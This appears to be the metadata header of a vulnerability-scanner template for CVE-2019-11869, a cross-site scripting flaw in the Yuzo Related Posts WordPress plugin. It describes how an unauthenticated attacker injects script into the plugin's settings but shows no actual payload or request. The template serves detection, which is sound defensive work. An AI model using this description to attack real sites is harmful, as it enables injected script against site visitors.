id: CVE-2019-11869
info:
name: Yuzo Related Posts plugin XSS
author: ganofins
severity: medium
description: |
The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS
because it mistakenly expects that is_admin() verifies that the
request comes from an admin user (it actually only verifies that the
request is for an admin page). An unauthenticated attacker can inject
a payload into the plugin settings, such as the
yuzo_related_post_css_and_style setting.
